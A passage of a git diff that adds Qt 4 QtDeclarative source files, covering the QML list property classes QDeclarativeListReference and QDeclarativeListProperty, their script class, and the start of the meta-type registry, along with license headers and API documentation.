+QDeclarativeListReference allows C++ programs to read from, and assign values to a QML list property in a
+simple and type safe way. A QDeclarativeListReference can be created by passing an object and property
+name or through a QDeclarativeProperty instance. These two are equivalant:
+
+\code
+QDeclarativeListReference ref1(object, "children");
+
+QDeclarativeProperty ref2(object, "children");
+QDeclarativeListReference ref2 = qvariant_cast<QDeclarativeListReference>(ref2.read());
+\endcode
+
+Not all QML list properties support all operations. A set of methods, canAppend(), canAt(), canClear() and
+canCount() allow programs to query whether an operation is supported on a given property.
+
+QML list properties are typesafe. Only QObject's that derive from the correct base class can be assigned to
+the list. The listElementType() method can be used to query the QMetaObject of the QObject type supported.
+Attempting to add objects of the incorrect type to a list property will fail.
+
+Like with normal lists, when accessing a list element by index, it is the callers responsibility to ensure
+that it does not request an out of range element using the count() method before calling at().
+*/
+
+/*!
+Constructs an invalid instance.
+*/
+QDeclarativeListReference::QDeclarativeListReference()
+: d(0)
+{
+}
+
+/*!
+Constructs a QDeclarativeListReference for \a object's \a property. If \a property is not a list
+property, an invalid QDeclarativeListReference is created. If \a object is destroyed after
+the reference is constructed, it will automatically become invalid. That is, it is safe to hold
+QDeclarativeListReference instances even after \a object is deleted.
+
+Passing \a engine is required to access some QML created list properties. If in doubt, and an engine
+is available, pass it.
+*/
+QDeclarativeListReference::QDeclarativeListReference(QObject *object, const char *property, QDeclarativeEngine *engine)
+: d(0)
+{
+ if (!object || !property) return;
+
+ QDeclarativePropertyCache::Data local;
+ QDeclarativePropertyCache::Data *data =
+ QDeclarativePropertyCache::property(engine, object, QLatin1String(property), local);
+
+ if (!data || !(data->flags & QDeclarativePropertyCache::Data::IsQList)) return;
+
+ QDeclarativeEnginePrivate *p = engine?QDeclarativeEnginePrivate::get(engine):0;
+
+ int listType = p?p->listType(data->propType):QDeclarativeMetaType::listType(data->propType);
+ if (listType == -1) return;
+
+ d = new QDeclarativeListReferencePrivate;
+ d->object = object;
+ d->elementType = p?p->rawMetaObjectForType(listType):QDeclarativeMetaType::qmlType(listType)->baseMetaObject();
+ d->propertyType = data->propType;
+
+ void *args[] = { &d->property, 0 };
+ QMetaObject::metacall(object, QMetaObject::ReadProperty, data->coreIndex, args);
+}
+
+/*! \internal */
+QDeclarativeListReference::QDeclarativeListReference(const QDeclarativeListReference &o)
+: d(o.d)
+{
+ if (d) d->addref();
+}
+
+/*! \internal */
+QDeclarativeListReference &QDeclarativeListReference::operator=(const QDeclarativeListReference &o)
+{
+ if (o.d) o.d->addref();
+ if (d) d->release();
+ d = o.d;
+ return *this;
+}
+
+/*! \internal */
+QDeclarativeListReference::~QDeclarativeListReference()
+{
+ if (d) d->release();
+}
+
+/*!
+Returns true if the instance refers to a valid list property, otherwise false.
+*/
+bool QDeclarativeListReference::isValid() const
+{
+ return d && d->object;
+}
+
+/*!
+Returns the list property's object. Returns 0 if the reference is invalid.
+*/
+QObject *QDeclarativeListReference::object() const
+{
+ if (isValid()) return d->object;
+ else return 0;
+}
+
+/*!
+Returns the QMetaObject for the elements stored in the list property. Returns 0 if the reference
+is invalid.
+
+The QMetaObject can be used ahead of time to determine whether a given instance can be added
+to a list.
+*/
+const QMetaObject *QDeclarativeListReference::listElementType() const
+{
+ if (isValid()) return d->elementType;
+ else return 0;
+}
+
+/*!
+Returns true if the list property can be appended to, otherwise false. Returns false if the
+reference is invalid.
+
+\sa append()
+*/
+bool QDeclarativeListReference::canAppend() const
+{
+ return (isValid() && d->property.append);
+}
+
+/*!
+Returns true if the list property can queried by index, otherwise false. Returns false if the
+reference is invalid.
+
+\sa at()
+*/
+bool QDeclarativeListReference::canAt() const
+{
+ return (isValid() && d->property.at);
+}
+
+/*!
+Returns true if the list property can be cleared, otherwise false. Returns false if the
+reference is invalid.
+
+\sa clear()
+*/
+bool QDeclarativeListReference::canClear() const
+{
+ return (isValid() && d->property.clear);
+}
+
+/*!
+Returns true if the list property can be queried for its element count, otherwise false.
+Returns false if the reference is invalid.
+
+\sa count()
+*/
+bool QDeclarativeListReference::canCount() const
+{
+ return (isValid() && d->property.count);
+}
+
+/*!
+Appends \a object to the list. Returns true if the operation succeeded, otherwise false.
+
+\sa canAppend()
+*/
+bool QDeclarativeListReference::append(QObject *object) const
+{
+ if (!canAppend()) return false;
+
+ if (object && !QDeclarativePropertyPrivate::canConvert(object->metaObject(), d->elementType))
+ return false;
+
+ d->property.append(&d->property, object);
+
+ return true;
+}
+
+/*!
+Returns the list element at \a index, or 0 if the operation failed.
+
+\sa canAt()
+*/
+QObject *QDeclarativeListReference::at(int index) const
+{
+ if (!canAt()) return 0;
+
+ return d->property.at(&d->property, index);
+}
+
+/*!
+Clears the list. Returns true if the operation succeeded, otherwise false.
+
+\sa canClear()
+*/
+bool QDeclarativeListReference::clear() const
+{
+ if (!canClear()) return false;
+
+ d->property.clear(&d->property);
+
+ return true;
+}
+
+/*!
+Returns the number of objects in the list, or 0 if the operation failed.
+*/
+int QDeclarativeListReference::count() const
+{
+ if (!canCount()) return 0;
+
+ return d->property.count(&d->property);
+}
+
+/*!
+\class QDeclarativeListProperty
+\since 4.7
+\brief The QDeclarativeListProperty class allows applications to expose list-like
+properties to QML.
+
+QML has many list properties, where more than one object value can be assigned.
+The use of a list property from QML looks like this:
+
+\code
+FruitBasket {
+ fruit: [
+ Apple {},
+ Orange{},
+ Banana{}
+ ]
+}
+\endcode
+
+The QDeclarativeListProperty encapsulates a group of function pointers that represet the
+set of actions QML can perform on the list - adding items, retrieving items and
+clearing the list. In the future, additional operations may be supported. All
+list properties must implement the append operation, but the rest are optional.
+
+To provide a list property, a C++ class must implement the operation callbacks,
+and then return an appropriate QDeclarativeListProperty value from the property getter.
+List properties should have no setter. In the example above, the Q_PROPERTY()
+declarative will look like this:
+
+\code
+Q_PROPERTY(QDeclarativeListProperty<Fruit> fruit READ fruit);
+\endcode
+
+QML list properties are typesafe - in this case \c {Fruit} is a QObject type that
+\c {Apple}, \c {Orange} and \c {Banana} all derive from.
+
+\note QDeclarativeListProperty can only be used for lists of QObject-derived object pointers.
+
+\sa {Object and List Property Types}
+
+*/
+
+/*!
+\fn QDeclarativeListProperty::QDeclarativeListProperty()
+\internal
+*/
+
+/*!
+\fn QDeclarativeListProperty::QDeclarativeListProperty(QObject *object, QList<T *> &list)
+
+Convenience constructor for making a QDeclarativeListProperty value from an existing
+QList \a list. The \a list reference must remain valid for as long as \a object
+exists. \a object must be provided.
+
+Generally this constructor should not be used in production code, as a
+writable QList violates QML's memory management rules. However, this constructor
+can very useful while prototyping.
+*/
+
+/*!
+\fn QDeclarativeListProperty::QDeclarativeListProperty(QObject *object, void *data, AppendFunction append,
+ CountFunction count = 0, AtFunction at = 0,
+ ClearFunction clear = 0)
+
+Construct a QDeclarativeListProperty from a set of operation functions. An opaque \a data handle
+may be passed which can be accessed from within the operation functions. The list property
+remains valid while \a object exists.
+
+The \a append operation is compulsory and must be provided, while the \a count, \a at and
+\a clear methods are optional.
+*/
+
+/*!
+\typedef QDeclarativeListProperty::AppendFunction
+
+Synonym for \c {void (*)(QDeclarativeListProperty<T> *property, T *value)}.
+
+Append the \a value to the list \a property.
+*/
+
+/*!
+\typedef QDeclarativeListProperty::CountFunction
+
+Synonym for \c {int (*)(QDeclarativeListProperty<T> *property)}.
+
+Return the number of elements in the list \a property.
+*/
+
+/*!
+\fn bool QDeclarativeListProperty::operator==(const QDeclarativeListProperty &other) const
+
+Returns true if this QDeclarativeListProperty is equal to \a other, otherwise false.
+*/
+
+/*!
+\typedef QDeclarativeListProperty::AtFunction
+
+Synonym for \c {T *(*)(QDeclarativeListProperty<T> *property, int index)}.
+
+Return the element at position \a index in the list \a property.
+*/
+
+/*!
+\typedef QDeclarativeListProperty::ClearFunction
+
+Synonym for \c {void (*)(QDeclarativeListProperty<T> *property)}.
+
+Clear the list \a property.
+*/
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativelist.h b/src/declarative/qml/qdeclarativelist.h
new file mode 100644
index 00000000..5b2d5b4e
--- /dev/null
+++ b/src/declarative/qml/qdeclarativelist.h
@@ -0,0 +1,152 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELIST_H
+#define QDECLARATIVELIST_H
+
+#include <QtCore/qglobal.h>
+#include <QtCore/qlist.h>
+#include <QtCore/qvariant.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QObject;
+struct QMetaObject;
+
+#ifndef QDECLARATIVELISTPROPERTY
+#define QDECLARATIVELISTPROPERTY
+template<typename T>
+class QDeclarativeListProperty {
+public:
+ typedef void (*AppendFunction)(QDeclarativeListProperty<T> *, T*);
+ typedef int (*CountFunction)(QDeclarativeListProperty<T> *);
+ typedef T *(*AtFunction)(QDeclarativeListProperty<T> *, int);
+ typedef void (*ClearFunction)(QDeclarativeListProperty<T> *);
+
+ QDeclarativeListProperty()
+ : object(0), data(0), append(0), count(0), at(0), clear(0), dummy1(0), dummy2(0) {}
+ QDeclarativeListProperty(QObject *o, QList<T *> &list)
+ : object(o), data(&list), append(qlist_append), count(qlist_count), at(qlist_at),
+ clear(qlist_clear), dummy1(0), dummy2(0) {}
+ QDeclarativeListProperty(QObject *o, void *d, AppendFunction a, CountFunction c = 0, AtFunction t = 0,
+ ClearFunction r = 0)
+ : object(o), data(d), append(a), count(c), at(t), clear(r), dummy1(0), dummy2(0) {}
+
+ bool operator==(const QDeclarativeListProperty &o) const {
+ return object == o.object &&
+ data == o.data &&
+ append == o.append &&
+ count == o.count &&
+ at == o.at &&
+ clear == o.clear;
+ }
+
+ QObject *object;
+ void *data;
+
+ AppendFunction append;
+
+ CountFunction count;
+ AtFunction at;
+
+ ClearFunction clear;
+
+ void *dummy1;
+ void *dummy2;
+
+private:
+ static void qlist_append(QDeclarativeListProperty *p, T *v) {
+ reinterpret_cast<QList<T *> *>(p->data)->append(v);
+ }
+ static int qlist_count(QDeclarativeListProperty *p) {
+ return reinterpret_cast<QList<T *> *>(p->data)->count();
+ }
+ static T *qlist_at(QDeclarativeListProperty *p, int idx) {
+ return reinterpret_cast<QList<T *> *>(p->data)->at(idx);
+ }
+ static void qlist_clear(QDeclarativeListProperty *p) {
+ return reinterpret_cast<QList<T *> *>(p->data)->clear();
+ }
+};
+#endif
+
+class QDeclarativeEngine;
+class QDeclarativeListReferencePrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeListReference
+{
+public:
+ QDeclarativeListReference();
+ QDeclarativeListReference(QObject *, const char *property, QDeclarativeEngine * = 0);
+ QDeclarativeListReference(const QDeclarativeListReference &);
+ QDeclarativeListReference &operator=(const QDeclarativeListReference &);
+ ~QDeclarativeListReference();
+
+ bool isValid() const;
+
+ QObject *object() const;
+ const QMetaObject *listElementType() const;
+
+ bool canAppend() const;
+ bool canAt() const;
+ bool canClear() const;
+ bool canCount() const;
+
+ bool append(QObject *) const;
+ QObject *at(int) const;
+ bool clear() const;
+ int count() const;
+
+private:
+ friend class QDeclarativeListReferencePrivate;
+ QDeclarativeListReferencePrivate* d;
+};
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeListReference)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVELIST_H
diff --git a/src/declarative/qml/qdeclarativelist_p.h b/src/declarative/qml/qdeclarativelist_p.h
new file mode 100644
index 00000000..76ac83f0
--- /dev/null
+++ b/src/declarative/qml/qdeclarativelist_p.h
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELIST_P_H
+#define QDECLARATIVELIST_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativelist.h"
+#include "private/qdeclarativeguard_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeListReferencePrivate
+{
+public:
+ QDeclarativeListReferencePrivate();
+
+ static QDeclarativeListReference init(const QDeclarativeListProperty<QObject> &, int, QDeclarativeEngine *);
+
+ QDeclarativeGuard<QObject> object;
+ const QMetaObject *elementType;
+ QDeclarativeListProperty<QObject> property;
+ int propertyType;
+
+ void addref();
+ void release();
+ int refCount;
+
+ static inline QDeclarativeListReferencePrivate *get(QDeclarativeListReference *ref) {
+ return ref->d;
+ }
+};
+
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVELIST_P_H
diff --git a/src/declarative/qml/qdeclarativelistscriptclass.cpp b/src/declarative/qml/qdeclarativelistscriptclass.cpp
new file mode 100644
index 00000000..4bebd7af
--- /dev/null
+++ b/src/declarative/qml/qdeclarativelistscriptclass.cpp
@@ -0,0 +1,149 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativelistscriptclass_p.h"
+
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeguard_p.h"
+#include "private/qdeclarativelist_p.h"
+
+QT_BEGIN_NAMESPACE
+
+struct ListData : public QScriptDeclarativeClass::Object {
+ QDeclarativeGuard<QObject> object;
+ QDeclarativeListProperty<QObject> property;
+ int propertyType;
+};
+
+QDeclarativeListScriptClass::QDeclarativeListScriptClass(QDeclarativeEngine *e)
+: QScriptDeclarativeClass(QDeclarativeEnginePrivate::getScriptEngine(e)), engine(e)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+ Q_UNUSED(scriptEngine);
+
+ m_lengthId = createPersistentIdentifier(QLatin1String("length"));
+}
+
+QDeclarativeListScriptClass::~QDeclarativeListScriptClass()
+{
+}
+
+QScriptValue QDeclarativeListScriptClass::newList(QObject *object, int propId, int propType)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ if (!object || propId == -1)
+ return scriptEngine->nullValue();
+
+ ListData *data = new ListData;
+ data->object = object;
+ data->propertyType = propType;
+ void *args[] = { &data->property, 0 };
+ QMetaObject::metacall(object, QMetaObject::ReadProperty, propId, args);
+
+ return newObject(scriptEngine, this, data);
+}
+
+QScriptValue QDeclarativeListScriptClass::newList(const QDeclarativeListProperty<QObject> &prop, int propType)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ ListData *data = new ListData;
+ data->object = prop.object;
+ data->property = prop;
+ data->propertyType = propType;
+
+ return newObject(scriptEngine, this, data);
+}
+
+QScriptClass::QueryFlags
+QDeclarativeListScriptClass::queryProperty(Object *object, const Identifier &name,
+ QScriptClass::QueryFlags flags)
+{
+ Q_UNUSED(object);
+ Q_UNUSED(flags);
+ if (name == m_lengthId.identifier)
+ return QScriptClass::HandlesReadAccess;
+
+ bool ok = false;
+ quint32 idx = toArrayIndex(name, &ok);
+
+ if (ok) {
+ lastIndex = idx;
+ return QScriptClass::HandlesReadAccess;
+ } else {
+ return 0;
+ }
+}
+
+QDeclarativeListScriptClass::Value QDeclarativeListScriptClass::property(Object *obj, const Identifier &name)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
+
+ ListData *data = (ListData *)obj;
+ if (!data->object)
+ return Value();
+
+ quint32 count = data->property.count?data->property.count(&data->property):0;
+
+ if (name == m_lengthId.identifier)
+ return Value(scriptEngine, count);
+ else if (lastIndex < count && data->property.at)
+ return Value(scriptEngine, enginePriv->objectClass->newQObject(data->property.at(&data->property, lastIndex)));
+ else
+ return Value();
+}
+
+QVariant QDeclarativeListScriptClass::toVariant(Object *obj, bool *ok)
+{
+ ListData *data = (ListData *)obj;
+
+ if (!data->object) {
+ if (ok) *ok = false;
+ return QVariant();
+ }
+
+ return QVariant::fromValue(QDeclarativeListReferencePrivate::init(data->property, data->propertyType, engine));
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativelistscriptclass_p.h b/src/declarative/qml/qdeclarativelistscriptclass_p.h
new file mode 100644
index 00000000..b545014f
--- /dev/null
+++ b/src/declarative/qml/qdeclarativelistscriptclass_p.h
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELISTSCRIPTCLASS_P_H
+#define QDECLARATIVELISTSCRIPTCLASS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <private/qscriptdeclarativeclass_p.h>
+#include "qdeclarativelist.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QDeclarativeListScriptClass : public QScriptDeclarativeClass
+{
+public:
+ QDeclarativeListScriptClass(QDeclarativeEngine *);
+ ~QDeclarativeListScriptClass();
+
+ QScriptValue newList(QObject *, int, int);
+ QScriptValue newList(const QDeclarativeListProperty<QObject> &, int);
+
+protected:
+ virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &,
+ QScriptClass::QueryFlags flags);
+ virtual Value property(Object *, const Identifier &);
+ virtual QVariant toVariant(Object *, bool *ok);
+
+private:
+ PersistentIdentifier m_lengthId;
+ QDeclarativeEngine *engine;
+
+ quint32 lastIndex;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVELISTSCRIPTCLASS_P_H
+
diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp
new file mode 100644
index 00000000..d46eb78b
--- /dev/null
+++ b/src/declarative/qml/qdeclarativemetatype.cpp
@@ -0,0 +1,1536 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative/qdeclarativeprivate.h>
+#include "private/qdeclarativemetatype_p.h"
+
+#include "private/qdeclarativeproxymetaobject_p.h"
+#include "private/qdeclarativecustomparser_p.h"
+#include "private/qdeclarativeguard_p.h"
+
+#include <QtCore/qdebug.h>
+#include <QtCore/qstringlist.h>
+#include <QtCore/qmetaobject.h>
+#include <QtCore/qbitarray.h>
+#include <QtCore/qreadwritelock.h>
+#include <qmetatype.h>
+#include <qobjectdefs.h>
+#include <qdatetime.h>
+#include <qbytearray.h>
+#include <qreadwritelock.h>
+#include <qstring.h>
+#include <qstringlist.h>
+#include <qvector.h>
+#include <qlocale.h>
+#include <QtCore/qcryptographichash.h>
+#include <QtScript/qscriptvalue.h>
+
+#include <ctype.h>
+
+#ifdef QT_BOOTSTRAPPED
+# ifndef QT_NO_GEOM_VARIANT
+# define QT_NO_GEOM_VARIANT
+# endif
+#else
+# include <qbitarray.h>
+# include <qurl.h>
+# include <qvariant.h>
+#endif
+
+#ifndef QT_NO_GEOM_VARIANT
+# include <qsize.h>
+# include <qpoint.h>
+# include <qrect.h>
+# include <qline.h>
+# include <qvector3d.h>
+#endif
+#define NS(x) QT_PREPEND_NAMESPACE(x)
+
+QT_BEGIN_NAMESPACE
+
+struct QDeclarativeMetaTypeData
+{
+ ~QDeclarativeMetaTypeData();
+ QList<QDeclarativeType *> types;
+ typedef QHash<int, QDeclarativeType *> Ids;
+ Ids idToType;
+ typedef QHash<QByteArray, QDeclarativeType *> Names;
+ Names nameToType;
+ typedef QHash<const QMetaObject *, QDeclarativeType *> MetaObjects;
+ MetaObjects metaObjectToType;
+ typedef QHash<int, QDeclarativeMetaType::StringConverter> StringConverters;
+ StringConverters stringConverters;
+
+ struct ModuleInfo {
+ ModuleInfo(int major, int minor)
+ : vmajor_min(major), vminor_min(minor), vmajor_max(major), vminor_max(minor) {}
+ ModuleInfo(int major_min, int minor_min, int major_max, int minor_max)
+ : vmajor_min(major_min), vminor_min(minor_min), vmajor_max(major_max), vminor_max(minor_max) {}
+ int vmajor_min, vminor_min;
+ int vmajor_max, vminor_max;
+ };
+ typedef QHash<QByteArray, ModuleInfo> ModuleInfoHash;
+ ModuleInfoHash modules;
+
+ QBitArray objects;
+ QBitArray interfaces;
+ QBitArray lists;
+
+ QList<QDeclarativePrivate::AutoParentFunction> parentFunctions;
+};
+Q_GLOBAL_STATIC(QDeclarativeMetaTypeData, metaTypeData)
+Q_GLOBAL_STATIC(QReadWriteLock, metaTypeDataLock)
+
+QDeclarativeMetaTypeData::~QDeclarativeMetaTypeData()
+{
+ for (int i = 0; i < types.count(); ++i)
+ delete types.at(i);
+}
+
+class QDeclarativeTypePrivate
+{
+public:
+ QDeclarativeTypePrivate();
+
+ void init() const;
+
+ bool m_isInterface : 1;
+ const char *m_iid;
+ QByteArray m_module;
+ QByteArray m_name;
+ int m_version_maj;
+ int m_version_min;
+ int m_typeId; int m_listId;
+ int m_revision;
+ mutable bool m_containsRevisionedAttributes;
+ mutable QDeclarativeType *m_superType;
+
+ int m_allocationSize;
+ void (*m_newFunc)(void *);
+ QString m_noCreationReason;
+
+ const QMetaObject *m_baseMetaObject;
+ QDeclarativeAttachedPropertiesFunc m_attachedPropertiesFunc;
+ const QMetaObject *m_attachedPropertiesType;
+ int m_attachedPropertiesId;
+ int m_parserStatusCast;
+ int m_propertyValueSourceCast;
+ int m_propertyValueInterceptorCast;
+ QObject *(*m_extFunc)(QObject *);
+ const QMetaObject *m_extMetaObject;
+ int m_index;
+ QDeclarativeCustomParser *m_customParser;
+ mutable volatile bool m_isSetup:1;
+ mutable bool m_haveSuperType : 1;
+ mutable QList<QDeclarativeProxyMetaObject::ProxyData> m_metaObjects;
+
+ static QHash<const QMetaObject *, int> m_attachedPropertyIds;
+};
+
+QHash<const QMetaObject *, int> QDeclarativeTypePrivate::m_attachedPropertyIds;
+
+QDeclarativeTypePrivate::QDeclarativeTypePrivate()
+: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), m_revision(0), m_containsRevisionedAttributes(false),
+ m_superType(0), m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0),
+ m_attachedPropertiesType(0), m_parserStatusCast(-1), m_propertyValueSourceCast(-1),
+ m_propertyValueInterceptorCast(-1), m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0),
+ m_isSetup(false), m_haveSuperType(false)
+{
+}
+
+
+QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::RegisterInterface &interface)
+: d(new QDeclarativeTypePrivate)
+{
+ d->m_isInterface = true;
+ d->m_iid = interface.iid;
+ d->m_typeId = interface.typeId;
+ d->m_listId = interface.listId;
+ d->m_newFunc = 0;
+ d->m_index = index;
+ d->m_isSetup = true;
+ d->m_version_maj = 0;
+ d->m_version_min = 0;
+}
+
+QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::RegisterType &type)
+: d(new QDeclarativeTypePrivate)
+{
+ QByteArray name = type.uri;
+ if (type.uri) name += '/';
+ name += type.elementName;
+
+ d->m_module = type.uri;
+ d->m_name = name;
+ d->m_version_maj = type.versionMajor;
+ d->m_version_min = type.versionMinor;
+ if (type.version >= 1) // revisions added in version 1
+ d->m_revision = type.revision;
+ d->m_typeId = type.typeId;
+ d->m_listId = type.listId;
+ d->m_allocationSize = type.objectSize;
+ d->m_newFunc = type.create;
+ d->m_noCreationReason = type.noCreationReason;
+ d->m_baseMetaObject = type.metaObject;
+ d->m_attachedPropertiesFunc = type.attachedPropertiesFunction;
+ d->m_attachedPropertiesType = type.attachedPropertiesMetaObject;
+ if (d->m_attachedPropertiesType) {
+ QHash<const QMetaObject *, int>::Iterator iter = d->m_attachedPropertyIds.find(d->m_baseMetaObject);
